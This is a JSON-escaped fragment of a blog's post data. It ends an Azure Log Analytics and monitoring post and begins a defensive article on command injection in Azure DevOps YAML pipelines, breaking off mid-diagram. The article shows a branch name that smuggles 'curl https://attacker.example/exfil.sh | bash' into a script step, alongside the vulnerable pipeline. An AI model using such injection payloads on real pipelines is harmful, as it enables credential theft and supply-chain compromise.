\u003ctd\u003e\u003cstrong\u003eBasic\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e$0.50/GB\u003c/td\u003e\n          \u003ctd\u003eVerbose application traces and debug logs.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eAuxiliary\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e$0.05/GB\u003c/td\u003e\n          \u003ctd\u003eLong-term archiving (Search jobs only).\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e\u003cstrong\u003ePro Tip\u003c/strong\u003e: Set a daily ingestion cap (minimum 0.01 GB) and an alert at 80% of that cap to prevent runaway costs from misconfigured resources.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"deploying-the-stack-with-terraform-avm\"\u003eDeploying the Stack with Terraform AVM\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ccode\u003emain.tf\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;log_analytics_workspace\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  source  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Azure/avm-res-operationalinsights-workspace/azurerm\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  version \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;0.5.1\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name                \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;law-platform-central-001\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  retention_in_days   \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e90\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  daily_quota_gb      \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e50\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  sku                 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;PerGB2018\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e # Analytics Tier\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# DCR to filter expensive east-west firewall traffic\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;azurerm_monitor_data_collection_rule\u0026#34; \u0026#34;firewall\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name     \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;dcr-firewall-filtered\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  location \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003elocation\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003edata_flow\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    streams      \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Microsoft-CommonSecurityLog\u0026#34;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    destinations \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;platform-law\u0026#34;\u003c/span\u003e]\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e    # Drop internal-to-internal allows; keep internet egress and all denials\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    transform_kql \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;source | where not(SourceIP matches regex @\u0026#39;^10\\\\.\u0026#39; and DestinationIP matches regex @\u0026#39;^10\\\\.\u0026#39;)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cem\u003eNote: Starting in late 2025, Microsoft introduced transformation charges for data filtered over 50%. Verify current regional thresholds on the Azure Monitor pricing page.\u003c/em\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"automating-collection-via-azure-policy\"\u003eAutomating Collection via Azure Policy\u003c/h2\u003e\n\u003cp\u003eManual configuration does not scale. Use a \u003ccode\u003eDeployIfNotExists\u003c/code\u003e (DINE) policy initiative at the \u003ccode\u003eLanding Zones\u003c/code\u003e management group to ensure every new resource automatically forwards logs to your central LAW.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eCritical Step\u003c/strong\u003e: Grant the policy assignment\u0026rsquo;s managed identity the \u003cstrong\u003eLog Analytics Contributor\u003c/strong\u003e role at the management group scope. Without this, remediation tasks will fail.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"visualizing-platform-health\"\u003eVisualizing Platform Health\u003c/h2\u003e\n\u003cp\u003eUse \u003cstrong\u003eAzure Monitor Workbooks\u003c/strong\u003e to turn raw data into insights.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eRBAC Change Detection (KQL)\u003c/strong\u003e:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-kusto\" data-lang=\"kusto\"\u003eAzureActivity\n| where TimeGenerated \u0026gt; ago(24h)\n| where OperationNameValue == \u0026#34;MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE\u0026#34;\n| where ActivityStatusValue == \u0026#34;Success\u0026#34;\n| extend\n    // Pro Tip: In modern workspaces, use \u0026#39;Properties_d\u0026#39; directly if available\n    AssignedRole = tostring(parse_json(tostring(parse_json(Properties).responseBody)).properties.roleDefinitionId),\n    AssignedTo   = tostring(parse_json(tostring(parse_json(Properties).responseBody)).properties.principalId),\n    CallerIP     = CallerIpAddress\n| project TimeGenerated, Caller, AssignedRole, AssignedTo, CallerIP\n\u003c/code\u003e\u003c/pre\u003e\u003chr\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAnalytics for Security\u003c/strong\u003e: Never put security logs (Firewall, Key Vault, Activity Log) in the Basic tier. Basic logs do not support the \u003ccode\u003ejoin\u003c/code\u003e operator, which is required for incident investigation.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFilter at Ingestion\u003c/strong\u003e: Use DCR transforms to drop noisy \u003ccode\u003eAZFWFlowTrace\u003c/code\u003e or internal \u003ccode\u003eAllow\u003c/code\u003e logs before they reach the workspace.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCommitment Tiers\u003c/strong\u003e: If you ingest more than 100 GB/day, switch to a commitment tier to save ~15%.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"troubleshooting\"\u003eTroubleshooting\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e\u0026ldquo;Logs are missing after remediation\u0026rdquo;\u003c/strong\u003e\nVerify the managed identity permissions. Run:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaz role assignment list --assignee \u0026lt;policy-identity-id\u0026gt; --scope \u0026lt;mg-id\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e\u0026ldquo;KQL Error: join operation requires analytics logs\u0026rdquo;\u003c/strong\u003e\nYou are trying to join a table in the \u003cstrong\u003eBasic\u003c/strong\u003e plan. Move the table to \u003cstrong\u003eAnalytics\u003c/strong\u003e if full KQL capability is required.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/azure-monitor/best-practices\"\u003eAzure Monitor Best Practices\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/azure-monitor/logs/table-plans\"\u003eLog Analytics Table Plans\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/data-collection-rule-transformations\"\u003eAzure Monitor Ingestion-time Transformations\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eNext, move to \u003ca href=\"../azure-security-baseline/\"\u003ePost 7: Security Baseline\u003c/a\u003e. Sentinel and Defender for Cloud will use the workspace deployed here to provide centralized threat detection.\u003c/p\u003e\n","description":"Design a centralized logging architecture for your Azure Landing Zone using Log Analytics, automated Diagnostic Settings via Policy, and Monitor Workbooks.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-monitor-logging/","title":"Azure Centralized Monitoring: Log Analytics and Workbooks"},{"content":"\u003cp\u003eA pull request arrives from a fork. The branch is named \u003ccode\u003emain; curl https://attacker.example/exfil.sh | bash; echo\u003c/code\u003e. Your pipeline uses \u003ccode\u003e$(Build.SourceBranchName)\u003c/code\u003e in a script step. The script runs the branch name as shell. The exfiltration runs too.\u003c/p\u003e\n\u003cp\u003eAzure DevOps YAML expressions were designed to make pipelines flexible. That flexibility is also an attack surface. Macro expansion happens just before task execution — if user-controlled data reaches a \u003ccode\u003escript:\u003c/code\u003e field via \u003ccode\u003e$(varName)\u003c/code\u003e, an attacker with the ability to submit a PR or set a queue-time variable can execute arbitrary code in the pipeline agent\u0026rsquo;s context. The agent has access to service connections, deployment credentials, and artifact feeds. A compromised agent is a compromised delivery chain.\u003c/p\u003e\n\u003cp\u003eThis article gives you the practical tools to:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIdentify which expression types create injection surface and which do not.\u003c/li\u003e\n\u003cli\u003eUnderstand the three primary injection vectors: macro expansion, queue-time variables, and fork PR metadata.\u003c/li\u003e\n\u003cli\u003eApply the \u003ccode\u003eenv:\u003c/code\u003e block pattern to eliminate the most common injection class.\u003c/li\u003e\n\u003cli\u003eUse typed parameters with \u003ccode\u003evalues:\u003c/code\u003e constraints to reject invalid input at parse time.\u003c/li\u003e\n\u003cli\u003eEnforce organization-wide security baselines using \u003ccode\u003eextends\u003c/code\u003e templates and pipeline decorators.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eWe cover the threat model, the three injection vectors, four defensive patterns ordered by strength, and a hardening checklist you can apply to any pipeline in an afternoon.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"the-threat-model\"\u003eThe Threat Model\u003c/h2\u003e\n\u003ch3 id=\"what-attackers-can-control\"\u003eWhat Attackers Can Control\u003c/h3\u003e\n\u003cp\u003eThree actor types can introduce malicious data into a pipeline without modifying the pipeline YAML directly.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePR submitters\u003c/strong\u003e — any authenticated user who can open a pull request — control the branch name, commit message, PR title, PR description, and (when the PR comes from a fork) the YAML file content itself. None of these values are sanitized by Azure DevOps before they are made available as pipeline variables.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eQueue-time variable setters\u003c/strong\u003e — users with the \u0026ldquo;Queue builds\u0026rdquo; permission — can override any pipeline variable that is not explicitly locked. They do this through the \u0026ldquo;Run pipeline\u0026rdquo; UI or the Azure DevOps REST API. The variable value they supply is treated identically to the value defined in the YAML file.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAuthenticated pipeline triggerers\u003c/strong\u003e — users with \u0026ldquo;Queue builds\u0026rdquo; permission — can supply parameter values at trigger time. Any \u003ccode\u003estring\u003c/code\u003e parameter without a \u003ccode\u003evalues:\u003c/code\u003e constraint accepts arbitrary input.\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eActor\u003c/th\u003e\n          \u003cth\u003eWhat They Control\u003c/th\u003e\n          \u003cth\u003eInjection Surface\u003c/th\u003e\n          \u003cth\u003eRequired Permission\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003ePR Submitter\u003c/td\u003e\n          \u003ctd\u003eBranch name, commit message, PR title, PR description, YAML (from fork)\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e$(Build.SourceBranchName)\u003c/code\u003e, \u003ccode\u003e$(Build.SourceVersionMessage)\u003c/code\u003e, \u003ccode\u003e$(System.PullRequest.SourceBranch)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eContributor or fork author\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eQueue-Time Variable Setter\u003c/td\u003e\n          \u003ctd\u003eAny pipeline variable not marked \u003ccode\u003ereadonly: true\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eAny \u003ccode\u003e$(varName)\u003c/code\u003e used in scripts when \u003ccode\u003evarName\u003c/code\u003e is a YAML-defined variable\u003c/td\u003e\n          \u003ctd\u003eQueue builds\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eAuthenticated Triggerer\u003c/td\u003e\n          \u003ctd\u003ePipeline parameters at trigger time\u003c/td\u003e\n          \u003ctd\u003eAny unconstrained \u003ccode\u003estring\u003c/code\u003e parameter used in scripts via \u003ccode\u003e${{ parameters.param }}\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eQueue builds\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eAn attacker does not need to modify the pipeline YAML to exploit injection. They only need to control a value that reaches an unsafe expression context.\u003c/p\u003e\n\u003ch3 id=\"what-happens-when-injection-succeeds\"\u003eWhat Happens When Injection Succeeds\u003c/h3\u003e\n\u003cp\u003eA successful pipeline injection runs attacker-controlled code in the agent\u0026rsquo;s security context. The agent process has access to every credential the pipeline has been granted:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe repository checkout token (read access to the source repo and other repos in the org, depending on scope settings)\u003c/li\u003e\n\u003cli\u003eService connection credentials loaded as environment variables or mounted as Azure CLI sessions\u003c/li\u003e\n\u003cli\u003eSecrets from variable groups injected at job initialization\u003c/li\u003e\n\u003cli\u003eAny files on the agent\u0026rsquo;s local disk written by previous pipeline steps\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe attack sequence after a successful injection: exfiltrate the service connection credentials via an outbound HTTP request, use those credentials to push a malicious build artifact to the container registry, or trigger a deployment to a protected environment before the pipeline run is even flagged as suspicious.\u003c/p\u003e\n\u003cp\u003eArtifact poisoning is particularly dangerous because it is persistent. A compromised container image pushed to a shared registry contaminates every downstream service that pulls from it — the blast radius extends far beyond the single pipeline run.\u003c/p\u003e\n\u003ch3 id=\"expression-types-and-their-injection-risk\"\u003eExpression Types and Their Injection Risk\u003c/h3\u003e\n\u003cp\u003eThe three Azure DevOps expression syntaxes have different risk profiles:\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eExpression Type\u003c/th\u003e\n          \u003cth\u003eEvaluation Phase\u003c/th\u003e\n          \u003cth\u003eInjection Risk\u003c/th\u003e\n          \u003cth\u003eRisk Condition\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e$(varName)\u003c/code\u003e macro expansion\u003c/td\u003e\n          \u003ctd\u003eRuntime, before task starts\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003eHigh\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eValue substituted as raw string into command; shell metacharacters execute\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e${{ expression }}\u003c/code\u003e compile-time\u003c/td\u003e\n          \u003ctd\u003eParse time\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003eMedium\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eUnconstrained \u003ccode\u003estring\u003c/code\u003e parameters used inline in \u003ccode\u003escript:\u003c/code\u003e fields are injectable\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e$[ expression ]\u003c/code\u003e runtime\u003c/td\u003e\n          \u003ctd\u003eRuntime, in condition fields\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003eLow (conditional)\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eSafe in \u003ccode\u003econdition:\u003c/code\u003e fields; risk reapplies if result is mapped to a variable used in a script\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eMacro expansion is the highest-risk because it is a literal string substitution that occurs after the YAML is loaded but before the shell receives the command. The shell sees the macro-expanded string as the command to execute. Shell metacharacters (\u003ccode\u003e;\u003c/code\u003e, \u003ccode\u003e|\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e, backticks, \u003ccode\u003e$()\u003c/code\u003e) in the substituted value are interpreted by the shell — not treated as data.\u003c/p\u003e\n\u003cp\u003eCompile-time expressions are medium-risk because parameters can carry typed constraints. A \u003ccode\u003estring\u003c/code\u003e parameter with a \u003ccode\u003evalues:\u003c/code\u003e list rejects invalid values at parse time. Without that constraint, \u003ccode\u003e${{ parameters.userInput }}\u003c/code\u003e inline in a \u003ccode\u003escript:\u003c/code\u003e field is as injectable as macro expansion.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"injection-vector-1--macro-expansion-in-scripts\"\u003eInjection Vector 1 — Macro Expansion in Scripts\u003c/h2\u003e\n\u003ch3 id=\"the-classic-branch-name-injection\"\u003eThe Classic Branch Name Injection\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003e$(Build.SourceBranchName)\u003c/code\u003e is a predefined variable populated from the Git ref name. Azure DevOps does not sanitize it. A branch named \u003ccode\u003emain; curl https://attacker.example/exfil.sh | bash; echo\u003c/code\u003e is a valid Git branch name.\u003c/p\u003e\n\u003cp\u003eThe vulnerable pipeline:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# VULNERABLE: macro substitutes branch name directly into the command string\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;Building branch $(Build.SourceBranchName)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      docker build -t myapp:$(Build.SourceBranchName) .\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Build image\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWhen the pipeline runs against that branch, the shell receives:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Building branch main; curl https://attacker.example/exfil.sh | bash; echo\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker build -t myapp:main; curl https://attacker.example/exfil.sh | bash; echo .\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe semicolon terminates the \u003ccode\u003eecho\u003c/code\u003e command. The \u003ccode\u003ecurl | bash\u003c/code\u003e runs as a separate command with the agent\u0026rsquo;s full credential access. The trailing \u003ccode\u003eecho\u003c/code\u003e suppresses any output from the injected command so the log looks clean.\u003c/p\u003e\n\u003ch3 id=\"diagram-yaml-injection-vs-env-block-mitigation\"\u003eDiagram: YAML Injection vs. env: Block Mitigation\u003c/h3\u003e\n\u003cp\u003eThis diagram visualizes how a malicious branch name is expanded into a command string, causing a shell injection, and how the \u003ccode\u003eenv:\u003c/code\u003e block pattern prevents it by treating the data as inert.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 576 473\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 32,0 L 496,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,48 L 464,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,80 L 280,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,80 L 464,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,96 L 272,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,96 L 496,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,112 L 280,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,112 L 432,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,160 L 248,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,160 L 552,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,208 L 224,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,208 L 528,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,240 L 144,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,240 L 224,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,256 L 448,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 448,256 L 528,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,272 L 136,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 152,272 L 224,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,288 L 440,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 456,288 L 520,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,320 L 144,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,320 L 224,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,336 L 448,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 448,336 L 520,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,352 L 136,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 152,352 L 224,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,368 L 440,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 456,368 L 520,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,432 L 224,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,432 L 528,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,448 L 248,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,448 L 552,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,0 L 32,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,160 L 32,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,48 L 56,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,208 L 56,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,272 L 56,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,352 L 56,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,112 L 128,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,240 L 144,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,320 L 144,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 224,208 L 224,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 224,272 L 224,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 224,352 L 224,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,160 L 248,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,80 L 280,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,160 L 336,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,208 L 360,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,288 L 360,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 